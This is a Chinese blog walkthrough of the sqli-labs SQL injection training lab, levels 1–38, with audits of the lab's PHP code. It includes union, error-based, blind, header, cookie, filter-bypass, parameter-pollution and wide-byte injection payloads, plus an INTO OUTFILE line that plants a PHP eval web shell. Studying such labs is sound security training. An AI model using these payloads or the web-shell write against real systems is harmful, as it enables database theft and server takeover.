sqllabs详解与知识点汇总(内含代码审计)

2023-11-12

sqllabs(1-65)详解

关于注释符的详解

SQL注入注释符(#、-- 、/**/)使用条件及其他注释方式的探索 - impulse- - 博客园 (cnblogs.com)

HTTP请求方法------GET 对比 POST

HTTP 方法:GET 对比 POST | 菜鸟教程 (runoob.com)

来自知乎的绕过

SQL注入:各种绕过检测的姿势 - 知乎 (zhihu.com)

Less-1~4

@读题-------------get方式提交

@Error based—报错注入

@Single quotes-单引号

本题的知识点讲解

判断注入类型(闭合方式)、联合查询

(划重点,讲过的知识点以后是不会再这么详细的讲的)

A 判断是数字型注入还是字符型注入

1.试错法

​ ?id=1 回显登录
在这里插入图片描述

​ ?id=1‘

回显错误

在这里插入图片描述

根据报错信息near '‘1’'可知(技巧:注入为1‘ 看注入之后的)

是字符型闭合 并且闭合方式为 ’ 单引号

2.代码审计

在这里插入图片描述

where id $id==’== -------------为单引号闭合

关于为什么要判读诸如类型,是因为我们需要让我们构造的sql语句合法化

接下来我将通过代码审计的方式进行讲解

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//源代码//

代入后,

有:$sql=“SELECT * FROM users WHERE id=‘1’ LIMIT 0,1”;

如构造语句:?id=-1’ union select 1,2,3 --+

有:

$sql=“SELECT * FROM users WHERE id=’-1’unionselect 1,2,3 (这里有注释==’==)LIMIT 0,1”;

B.判断回显点

id=1和id=2在Your Login name和 Your Password处回显不同,
在这里插入图片描述

结合数据库内容以表单形式储存 可以知道 这两处为查找内容的回显点

利用group by 查找有几列内容

group by 1–3回显正确

group by 4 报错-----------共有3列内容

在这里插入图片描述

得出结论 有最多2处可以有回显

利用联合查询再次验证

构造playload

?id=-1' union select 1,2,3--+ 
关于--+注释:是为了注释掉后面的闭合(当然也可以注释掉后面的内容)

在这里插入图片描述

补充知识:联合查询

id your login name your password
1 (根据id=1查找显示的回显) (同前)
1 2(已提前写入) 3(同前)

由代码可知

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

limit 0.1“(检索行记录 1 )

关于limit的用法补充:(以及为什么要?id=-1)

​ limit子句可以用于强制select语句返回指定的记录数

​ 第一个参数指定返回行记录的偏移量 第二个参数指定返回行的最大数目

此时 只需要让id查询不到内容即可返回我们想要让数据库查询到内容了

开始注入
例如,构造playload

?id=-1'union select 1,database(),version() --+

在这里插入图片描述

#Lsee-2

(和第一题目一样的过程

@读题-------------get方式提交

@Error based—报错注入

@intiger based

A 判读是数字型还是字符型注入

?id=1 回显正常

?id=1‘ 报错但无1’回显

可以判断为 数字型注入

放心起见,我们对网页源代码进行一下代码审计

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

where id=$id 无闭合方式-----数字型注入

接下来 和less1一样的套路

group by-----判断列

union select ----从回显点获得数据

#Less-3

@读题-------------get方式注入

@Error based—报错注入

@single quotes with twist

A.判断注入方式

?id=1 正常

?id=1‘ 报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’) LIMIT 0,1’ at line 1

可判断闭合方式为:(’’)

代码审计:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

接下来直接上套路~

group by—3

union select:

?id=-1' union select 1,database(),version()--+

#less-4

@读题-------------get方式提交

@Error based—报错注入

@Double quotes-双引号

xdm,看了三道题了,总知道套路了吧

接下来我就简写我的过程了

?id=1 正确

?id=1"(不要问我为什么我直接上双引号了 ):报错: use near ‘"1"") LIMIT 0,1’ at line 1

ok 代码审计:

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

字符型,闭合方式:")

groupby一下

unionselect一下

Less-5

@读题-------------get方式提交

@double Injection–双查询注入

@Single quotes-引号

老套路,

1.判断注入形式,根据Less-1所讲的方法,可以知道是 单引号闭合

2.group by到4报错,可以知道共有3列

3.构造playload:?id=-1’union select 1,2,3–+

然后就蒙了把哈哈,此时我们需要查找题目的提示信息(double injection)

关于双查询注入,有如下知识点

XPATH报错

好的解析:SQL注入实战之报错注入篇(updatexml extractvalue floor) - 陈子硕 - 博客园 (cnblogs.com)

  • @ extractalue()(函数语法错误) —查询xml文件
    [?id=33 and extractvalue(1,concat(’^’,(select version()),’^’)) --+]

​ @ updatexml() -----修改xml文件
​ [?id=33 and updatexml(1,concat(’^’,(select database()),’^’),1) --+]

  • 语法:updatexml(目标xml内容,xml文档路径,更新的内容)

如果在xml文档路径中写入子查询,我们输入特殊字符,然后 因为不符合语法报错。

但报错时,后台已经执行了子查询代码。

注:mysql支持16进制,‘^’:也可用’~‘等替换,or 0x7e(~的16进制编码)(其实就是添加一个不符合规则的符号)

  • 报错同时显示:数据库名

    OK,如选择updatexml()有

?id=1' and updatexml(1,concat(0x5e,(select version()),0x5e),1) --+

Less-6

@Get方式

@double injection–双查询注入

@double quotes—双引号

和less-5一样,只是闭合方式换为了双引号

Less-7

@Get方式

@dump into outfile--------dumpfile与outfile

@string

闭合形式为’))

关于into outfile语句的相关知识点:

  • 在 MySQL 中,可以使用 SELECTI…INTO OUTFILE 语句将表的内容导出成一个文本文件。SELECT…INTO OUTFILE 语句基本格式如下:SELECT 列名 FROM table [WHERE 语句] INTO OUTFILE ‘目标文件’[OPTIONS]
select [column...] from [table_name] into outfile [path];

outfile函数可以导出多行,而dumpfile只能导出一行数据
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

?id=2')) union select 1,"<?php @eval(\$_REQUEST[777])?>",3 into outfile "c:\\phpstudy\\www\\1.php" --+

Less-8

@Get方式

@Blind-Boolian Based------布尔盲注

@single quotes----------------单引号

关于布尔盲注

  • 原理
    利用页面返回的布尔类型状态,正常或者不正常

  • eg: ?id and 1=1

  • 利用返回布尔类型的正常与否的获取(判断)数据库名(长度)

    (类似于爆破)

    @ 数据库名长度
    [?id=33 and length(database())=1 --+]


    [?id=33 and length(database())=3 --+]

    可以断定,当前数据库名的长度为3。
    @ 数据库名
    [?id=33 and ascii(substr(database(),1,1))=99 --+]

    由此可知数据库名的第一个字母的ascii 码为99,即是字母c。

这里可以用半自动化注入,利用burpsuite抓包,再进行爆破

Less-9

@GET方式

@Blind-Time based 布尔盲注-基于时间

@Single Quotes 单引号

延时注入

利用sleep() 语句的延时性,以时间线作为判断条件。
获取数据库名
@ 获取数据库名长度
[?id=33 and if((length(database())=3),sleep(5),1)–+]

@    数据库名第二位
[id=33 and if((ascii(substr(database(),2,1))=109),sleep(5),1)--+]

由此可知,数据库名第二个字母的ASCII 码值为109,即是字母m。
substr()截取字符串 (语法:substr(str,pos,len))

关于if语句

if(a,b,c):如果a成立 则执行b 反之则执行c

回归题目,在判断诸如类型的时候,没有回显,没有报错,没有布尔类型状态

利用延时注入看看,

?id=2' and if(ascii(substr(database(),1,1))=1,sleep(5),1) --+

Less-10

和less-9一样 但闭合方式为双引号

Less-11~17

@POST提交

@Error Based–基于报错

@single quotes–单引号

嗯 新的方式–post提交

可以先了解一下post与get提交的区别,因为编码关系(待补充)这里的注释用#代替

剩下的都是一样的。

Less-18~20

头部注入

http请求头分析

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8表示客户端可以接受的内容类型,多个值使用;分号隔开q=0.9 表示权重优先级,*/*表示可以接受任意类型内容;
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3表示客户端可以接受的语言
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64x64;
浏览器信息,例如使用的是网井的内核, windows64位系统;
Accept-Encoding: gzip, deflate–>>支持的压缩格式
Host: localhost:8888====>访问地址
Connection: keep-alive —>>保持连接 和HTTP1.1版本有关,默认保持3s
Content-Type: application/x-www-form-urlencoded表单提交时才有可能出现,表示表单的数据类型,使用url编码,url编码 % 16位数
Content-Length: 7—>post请求 请求体长度
Upgrade-Insecure-Requests: 1–>>告诉服务器,浏览器可以处理https协议、
————————————————
版权声明:本文为CSDN博主「梓栋Code」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/xmxt668/article/details/89461183

注意传输的位置和填充
(下面例子并没有多出1与括号)

eg:

user-agent: ’ and updataxml(1,concat(0x7e,(select database()),0x7e),1)1,1) – qwe

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (' and updataxml(1,concat(0x7e,(select database()),0x7e),1),1(对应ip),1(对应username)) ";

Page-2 Less-21

@cookie injection (cookie 注入)

@base64 encoded (base64编码)

@single quotes and parenthesis(单引号与括号)

老规矩 登录数据库

(我的账户名和密码均为admin 有的人的可能是admin与空)

查看一下网页源代码

setcookie('uname', base64_encode($row1['username']), time()+3600);	//cookie加密方式为base64
$cookee = $_COOKIE['uname'];//cookee即位cookie
$cookee = base64_decode($cookee);//base64解码
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
此处cookee闭合方式为')

有,构造playload

') union select 1,2,3#

base64加密后:

JykgdW5pb24gc2VsZWN0IDEsMiwzICM=

然后就可以进行注入了

Less-22

同理 但是是双引号闭合

构造playload :" union select 1,2,3#

base64编码:IiB1bmlvbiBzZWxlY3QgMSwyLDMgIw==

Less-23

@Get方式

@error based 报错注入

@strip comments 条评论

(基于错误的,过滤注释的GET型)

判断注入类型

?id=1 回显正常

?id=1’ 报错 有:right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1

可以知道是单引号闭合

但此时 构造 ? id=1’ --+ 出现报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1

有点奇怪

对源代码进行一下审计

$id=$_GET['id'];

//filter the comments out so as to comments should not work过滤掉注释,使注释不能工作
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

出现了没见过的东西,浅学一哈

菜鸟教程:https://www.runoob.com/php/php-preg_replace.html

把注释符全给注释掉了。

浅查一下资料~

SQL注入一些过滤及绕过总结_devil8123665的博客-CSDN博客_sql注入过滤

SQL注入绕过入门总结篇 - FreeBuf网络安全行业门户(这个还蛮顶的)

我们可以使用单引号进行闭合,(单引号内的不会被执行)
“SELECT * FROM users WHERE id=‘1==’ and ‘1’=‘1==’ LIMIT 0,1”`

不会被执行

单引号逃逸,注释符绕过

原本语句:

//前面的过滤是对$id进行过滤 此时只需要让语句从$id中逃逸即可进行注入
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//浅逃逸一下
$sql="SELECT * FROM users WHERE id=''(注入一个' 使前面两个单引号闭合,然后后面语句就从$id中逃逸出来了,即将 and 1=2 当成代码执行)and 1=2-- (-- 用于注释后面内容)qwe'LIMIT 0,1";
(如果不注入一个' ,and 1=2 将会被当成一个字符串执行,而非一段代码)
//又因为前面有注释符的过滤,-- 用不了了 后面就多出了一个'那么该语句就是错的 ok 让我们来想想办法
----我们可以将这个' 消耗掉
and 1=2 or'1'='1(后面自带一个',就消耗掉了)
//看似少些 其实没有
or:条件两边有一条成立即可

原语句:

$sql="SELECT * FROM users WHERE id='1' (这里闭合成功)and 1=2 or '1'='1'(这里消耗掉了原有的'闭合) LIMIT 0,1";
联合查询一下

?id=-1’ union select 1,database(),3 or ‘1’='1

报错注入:
’ and updataxml(1,concat(0x7e,(select database()),0x7e),1) or ‘1’='1

本节关键:’ xxxxx or ‘1’='1

Less-24

@Post

@second order injections(二阶注入) * Real treat *

@stored injection(存储型注入)

关于二次注入:[二次注入 - 简书 (jianshu.com)](

Less-25

@get方式

@error based–all your or & and belong to us

@string single quote 单引号

单引号闭合

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

过滤and和or

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			
    //strip out OR (non case sensitive)
	$id= preg_replace('/AND/i',"", $id);		
    //Strip out AND (non case sensitive)
	return $id;
}

Or and xor not绕过

And == &&

Or == ||

Xor = |

Not = !

Less-25a

@get

@blind based—all your or & and belong to us 盲注 and与or绕过

@intiger based --整形注入

检查一下源代码

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
	
	return $id;
}
//和上题一样的套路

利用页面的会先是否正常判断语句是否正确

Less-26

@GET

@Error Based --all your spaces & comment belong to us

​ 报错注入

检查一下源代码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//单引号闭合
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);	(i:不区分大小写)		
    //strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		
    //Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		
    //strip out /*
	$id= preg_replace('/[--]/',"", $id);		
    //Strip out --
	$id= preg_replace('/[#]/',"", $id);			
    //Strip out #
	$id= preg_replace('/[\s]/',"", $id);
    (\s:匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [ \f\n\r\t\v]。注意 Unicode 正则表达式会匹配全角空格符。)
    //Strip out spaces(空格)
	$id= preg_replace('/[\/\\\\]/',"", $id);		         
    //Strip out slashes(斜线)
	return $id;
}
//or and 注释符 空格 斜线 过滤

空格绕过

如果在尝试注入过程中,发现空格被过滤,那么可以去尝试括号是否被过滤,如果括号未被过滤,那么就可以尝试用括号进行绕过。

因为在mysql中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,多可以用括号围起来。而括号的两端可以没有多余的空格

例如:

Select(user())fromdualwhere(1=1)and(2=2)

这种过滤方式常常用于基于时间的盲注,例如:

?id=1%27and(sleep(ascii(sbustr(database()from(1)for(1)))=109))%23

(其中,from、for是属于逗号绕过)

其余的绕过空格方式:

两个空格代替一个空格;

用Tab(Tab是一个字符)代替空格

%0a或%a0代替空格

报错原因:

空格可以使用编码%0A代替,但是在Windows phpstudy环境下,空白字符编码无效,所以我们无法使用空格。

还有最基本的利用注释替换空格:/**/

Select table_name from information_schema.tables where table_schema=database()

Select//table_name//from//information_schema.tables/****/where//table_schema=database()

因为有注释符绕过,所以我们单引号逃逸一下

原语句: s q l = " S E L E C T ∗ F R O M u s e r s W H E R E i d = ′ sql="SELECT * FROM users WHERE id=' sql="SELECTFROMusersWHEREid=id’ LIMIT 0,1";

拼接后:省略。 id='1’||updatexml(1,concat(0x7e,(select%a0database()),0x7e),1)||‘1’='1 'LIMIT 0,1";

但是%a0报错了。。。%0a被过滤了(好像是因为windows环境下安装的phpstudy配置问题,,)

用括号

select(database()) 可以

把select去掉

有:id=‘1’||updatexml(1,concat(0x7e,(database()),0x7e),1)||‘1’='1

成功报错了

在CSDN上看到了其他操作,关于注释,可以用 ;%00

00绕过

文件上传绕过之00截断_BUAA小细腿的博客-CSDN博客_文件上传00截断

Less-26a

@GET提交

@Blind Based–all your spaces & comment belong to us

@string-single quotes-parenthesis(单引号括号)

直接上源代码

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
//闭合形式为')

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}
//和Less-26一样的过滤

源码的SQL如下

img

当我们输入 1’ aandnd’1时,后端过滤掉了一个and,拼接成下面这样

img

and后面的’1’会转换成true,使SQL恒成立,从而正常查询出用户信息并在页面中展示出来

当我们输入 1’ aandnd’0时,后端代码过滤掉一个and后,将参数拼接到SQL中,是下面这样

img

and后面的’0’会转换为false,使SQL恒不成立,从而查询不到用户信息,导致页面空显示

盲注测试

1'aandnd(length(database())>1)anandd'1

回显正常则可以通过

Less-27

@GET

@error based-all your union & select belong to us

@string

查看一下源代码

	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";


function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union(头部大写)
$id= preg_replace('/Select/s',"", $id);	    //Strip out select(头部大写)
return $id;
}
(这里我们可以钻个空子 union seletc 两个单词各选非首部字母进行大写替换)

union select绕过

1.大小写替换

UNion SElect

2.复写单词

eg:aandnd-----and

Less-27a

@和Less-27一样 但是是双引号闭合

Less-28

@GET

@error based-all your union & select belong to us

@string-single quote with parenthesis(单引号括号)

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

运用布尔状态进行判断

Less-28a

@和Less-28一样 但闭合方式为单引号与括号

Less-29

@get

@Error based—IMPIDENCE MISMATCH阻抗不匹配

@Having a WAF in front of web application

基于WAF的一个错误

其实这道题用之前讲的联合查询就可以做出来,但是出题人是希望我们去搭两个环境:Tomcat(jsp)与apache(php)。

基本思路:我们传参首先经过jsp过滤再交给php,然后将php服务器处理完之后又返回给jsp服务器,从而显示到客户端,这里我们可以利用参数污染的方式及给他传两个参,它会将第一个传参交给jsp处理,而第二个传参交给了php处理,从而绕过,后面几题都差不多是这个思路

类似于WAFSQL注入之 HTTP参数污染(HPP) - cooyf’s blog

#Sqli-labs之Less-29和Less-30和Less-31_

有用的代码审计

  • 首先来看一下WAF
//WAF...只允许输入数字
//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)//白名单
{
	$match = preg_match("/^\d+$/", $input);
    //这个正则表达式 意思是 匹配 以数字开头的一个或多个数字且以数字结尾的字符串
	if($match)
	{
		//echo "you are good";
		//return $match;
	}
	else
	{	
		header('Location: hacked.php');
		//echo "you are bad";
	}
}
//其实是定义了一个有防火墙作用的函数
  • 看一下变量的传递与sql语句
// take the variables 
if(isset($_GET['id']))
{
	$qs = $_SERVER['QUERY_STRING'];
	$hint=$qs;
	$id1=java_implimentation($qs);
	$id=$_GET['id'];
	//echo $id1;
	whitelist($id1);//检查的是id1
	
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'ID:'.$id."\n");
	fclose($fp);


// connectivity 
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//代入查询的是id
    
  • 然后我们来看一下 java_implimentation的实现 implimentation(实施)
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
//当受到HPP(HTTP参数污染)的影响时,以下功能可模仿参数的行为。

function java_implimentation($query_string)
{
	$q_s = $query_string;
	$qs_array= explode("&",$q_s);
    //根据&分割字符串并打散为数组
   //explode() 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
		if($val=="id")
		{
			$id_value=substr($value,3,30); 
            //从第3个开始返回30个
			return $id_value;
			echo "<br>";
			break;
		}
	}
}

基于之前讲解的做法:?id=1&id=2(返回的是2的值,因为id=1被过滤了)

构造playload

?id=1&id=-2' union select 1,2,3 --+

Less-30

@GET

@Blind–impidence mismatch

@having a WAF in front of web application

  • 参数获取

    // take the variables 
    if(isset($_GET['id']))
    {
    	$qs = $_SERVER['QUERY_STRING'];
    	$hint=$qs;
    	$id1=java_implimentation($qs);
    	$id=$_GET['id'];
    	//echo $id1;
    	whitelist($id1);//对id1进行了约束
        //id1
    	$id = '"' .$id. '"';
    	//双引号闭合
    	//logging the connection parameters to a file for analysis.
    	$fp=fopen('result.txt','a');
    	fwrite($fp,'ID:'.$id."\n");
    	fclose($fp);
    	
    
    // connectivity 
    	$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    
    
  • WAF设置

//WAF implimentation with a whitelist approach..... only allows input to be Numeric.(只允许数字)

  function whitelist($input)
{
	$match = preg_match("/^\d+$/", $input);  
//这个正则表达式 意思是 匹配 以数字开头的一个或多个数字且以数字结尾的字符串
	if($match)
	{
		//echo "you are good";
		//return $match;
	}
	else
	{	
		header('Location: hacked.php');
		//echo "you are bad";
	}
}
  • 函数行为的设置
//下面的函数模仿了受HPP (HTTP参数污染)影响时参数的行为。  
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
	$q_s = $query_string;
	$qs_array= explode("&",$q_s);
  //以&分割字符串
	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
		if($val=="id")
		{
			$id_value=substr($value,3,30); 
			return $id_value;
			echo "<br>";
			break;
		}

	}dain

}

根据题目提示 直接用盲注

盲注分类

:1.基于布尔类型

​ 2.基于时间(运用sleep()函数)

(但这里有回显点)

Less-31

@GET

@Blind–impidence mismatch

@having a WAF in front of web application

与Less-30一致,只不过换了闭合方式 ")

$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

Less-32

@GET

@Bypass custom filter adding slashes to dangeroud chars

绕过添加斜杠到危险字符的自定义过滤器

利用掌控安全的老师所讲的话:

注入输入单引号尝试闭合的时候发现被加上了/转义掉了,于是我们去查看源码,发现他下面确实写了一个简单的过滤,既然这里不能直接闭合我们一般思路就是想办法去掉这个不让他生效,看到他源码下设置了一下编码,突然想到了宽字节绕过,他的原理很简单,就是利用了数据库和页面编码不同的问题, PHP发送请求到mysq时经过一次gbk编码,因为GBK是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字,然后数据库处理的时候是根据GBK去处理的,然后单引号就逃逸了出来

检查一下源代码

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          
    //escape any backslash(反斜杠)
    $string = preg_replace('/\'/i', '\\\'', $string);         //escape single quote with a backslash(在每个单引号换为\\)
    $string = preg_replace('/\"/', "\\\"", $string);         //escape double quote with a backslash(在每个双引号换为\\)
    return $string;
}

preg_quote:https://www.runoob.com/php/php-preg_quote.html

preg_last_error 函数用于转义正则表达式字符。
语法
string preg_quote ( string $str [, string $delimiter = NULL ] )

eg:

构造playload

id=1’ and xxxx

回显为: id=1’ and xxxx

(这里单引号前的反斜杠将单引号转译为了一个字符串(会被当成代码执行),这样该单引号就不会与前面的单引号闭合,就导致了单引号的逃逸失败,而后面的and xxxx会被当成字符串执行而非代码执行)

再次检查一下源代码 发现这里设置了编码

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

知识点:宽字节注入

宽字节注入

原理:利用数据库和页面编码(utf-8:1—4个字节)不同,php发送请求到mysql时经过一次gbk编码(mysql数据库编码为gbk),因为gbk是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字,然后数据库处理的时候是根据GBK去处理的,然后单引号就逃逸出来了。

?id=1’

处理时:?id=1’

?id=1%df’
回显为1縗’

%df与%5c(\的URL编码,十六进制)构成一个汉字:
因为此时 \ 已经和%df组成一个汉字消耗掉了 所以 ’ 成功闭合
”如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。“

但是有一个问题, 为什么页面此时还回显的是?id=1的内容

从别人那学到的:查询时,mysql会在布尔类型判读时会将以数字开头的字符串当成数字处理,但要注意的是,字符串要被引号包裹

Less-33

@GET

@Bypass AddSlashes()

和上一关一致,只不过换成了addslashes函数

addslashes() 函数返回在预定义的字符前添加反斜杠\的字符串。

预定义字符是:

  • 单引号(’)
  • 双引号(")
  • 反斜杠(\)
  • NULL
function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}

Less-34

@POST

@Bypass AddSlashes()

post方式提交 且运用了addslashes函数

 $uname = addslashes($uname1);
 $passwd= addslashes($passwd1);

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

抓包修改参数

Less-35

@GET

@Bypass Add Slashes (we dont need them) Integer (数字型)based

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    
function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

简单的一题

Less-36

@GET

@Bypass MySQL_real_escape_string

不简单的题目提示 先看一下源代码

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

function check_quotes($string)
{
   $string=mysql_real_escape_string($string); 
    //宽字节注入这不就来了吗
    return $string;
}

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

//转十六进制
function strToHex($string)
{
    $hex='';
    for ($i=0; $i < strlen($string); $i++)
    {
        $hex .= dechex(ord($string[$i]));
    }
    return $hex;
}

关于mysql_real_escape_string函数
https://www.w3school.com.cn/php/func_mysql_real_escape_string.asp

宽字节注入即可

Less-37

@POST

@Bypass MySQL_real_escape_string

抓包—修改数据

Page3Less-38

@GET

@Stacked Query Injection(堆叠查询注入)

@String

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sqllabs详解与知识点汇总(内含代码审计) 的相关文章

  • 一个网工(网络工程师)七年的职业血泪史....

    前言 一个工作了七年的老网工 上家公司待了五年 现在这家公司也快三年了 分享一些我自己学习网络安全路上的一些经历 也算是帮大家少走些弯路 一 如何学习网络安全 1 不要试图以编程为基础去学习网络安全 不要以编程为基础再开始学习网络安全 一般
  • 网络空间安全女生就业,怎么学?

    我实验室的学长们基本都是以红队和复现为主 如果学校好点可能还有更多的选择 如果想在这个方向深入下去 推荐流程是先打两年CTF 把大概的技术方向摸一摸 大一的话 如果学校还不错 那就优先建议打好基础 包括C语言 Python一类 建议把CTF
  • 软件开发和网络安全哪个更好找工作?

    为什么今年应届毕业生找工作这么难 有时间去看看张雪峰今年为什么这么火就明白了 这么多年人才供给和需求错配的问题 在经济下行的今年 集中爆发 供给端 大学生越来越多 需求端 低端工作大家不愿去 高端岗位又太少 很多基础行业 比如机械 土木 所
  • 【网络安全】Web缓存欺骗攻击原理及攻防实战

    Web缓存欺骗是一种新的攻击方式 危害范围可扩大至各种技术及框架 本文仅分享Web缓存攻击知识 不承担任何由于传播 利用本文所发布内容而造成的任何后果及法律责任 文章目录 前言 攻击前提及原理 实例一 ChatGPT帐户接管漏洞 实例二 P
  • 【CTF必看】从零开始的CTF学习路线(超详细),让你从小白进阶成大神!

    最近很多朋友在后台私信我 问应该怎么入门CTF 个人认为入门CTF之前大家应该先了解到底 什么是CTF 而你 学CTF的目的又到底是什么 其次便是最好具备相应的编程能力 若是完全不具备这些能力极有可能直接被劝退 毕竟比赛的时候动不动写个脚本
  • 信号浪涌保护器的原理和行业应用方案

    信号浪涌保护器 Surge Protective Device 简称SPD 是一种用于限制信号线路中瞬态过电压和分泄浪涌电流的防雷装置 主要用于保护各类信号线路及设备的防雷安全 信号浪涌保护器的原理是利用气体放电管 压敏电阻 齐纳二极管等非
  • Web 安全漏洞之 OS 命令注入

    什么是 OS 命令注入 上周我们分享了一篇 Web 安全漏洞之 SQL 注入 其原理简单来说就是因为 SQL 是一种结构化字符串语言 攻击者利用可以随意构造语句的漏洞构造了开发者意料之外的语句 而今天要讲的 OS 命令注入其实原理和 SQL
  • 线程安全(中)--彻底搞懂synchronized(从偏向锁到重量级锁)

    接触过线程安全的同学想必都使用过synchronized这个关键字 在java同步代码快中 synchronized的使用方式无非有两个 通过对一个对象进行加锁来实现同步 如下面代码 synchronized lockObject 代码 对
  • 用户数据中的幸存者偏差

    幸存者偏差 Survivorship bias 是一种常见的逻辑谬误 意思是没有考虑到筛选的过程 忽略了被筛选掉的关键信息 只看到经过筛选后而产生的结果 先讲个故事 二战时 无奈德国空防强大 盟军战机损毁严重 于是军方便找来科学家统计飞机受
  • Android开发中常见安全问题和解决方案

    前言 开发APP时经常有问到 APP的安全怎么保障 应用程序被PJ了怎么办 手机被人捡去了怎么办 特别在号称 安全第一 风控牛逼 的银行系统内 移动产品安全性仍被持有怀疑态度 那我们来总结下APP安全的方向和具体知识 1 应用程序安全 2
  • Android SDK开发艺术探索(五)安全与校验

    一 前言 本篇是Android SDK开发艺术探索系列的第五篇文章 介绍了一些SDK开发中安全方面的知识 包括资源完整性 存储安全 权限校验 传输安全 代码混淆等知识 通过基础的安全配置为SDK保驾护航 探索SDK开发在安全方面的最佳实践
  • 「网络安全渗透」如果你还不懂CSRF?这一篇让你彻底掌握

    1 什么是 CSRF 面试的时候的著名问题 谈一谈你对 CSRF 与 SSRF 区别的看法 这个问题 如果我们用非常通俗的语言讲的话 CSRF 更像是钓鱼的举动 是用户攻击用户的 而对于 SSRF 来说 是由服务器发出请求 用户 日 服务器
  • 200道网络安全常见面试题合集(附答案解析+配套资料)

    有不少小伙伴面临跳槽或者找工作 本文总结了常见的安全岗位面试题 方便各位复习 祝各位事业顺利 财运亨通 在网络安全的道路上越走越远 所有的资料都整理成了PDF 面试题和答案将会持续更新 因为无论如何也不可能覆盖所有的面试题 php爆绝对路径
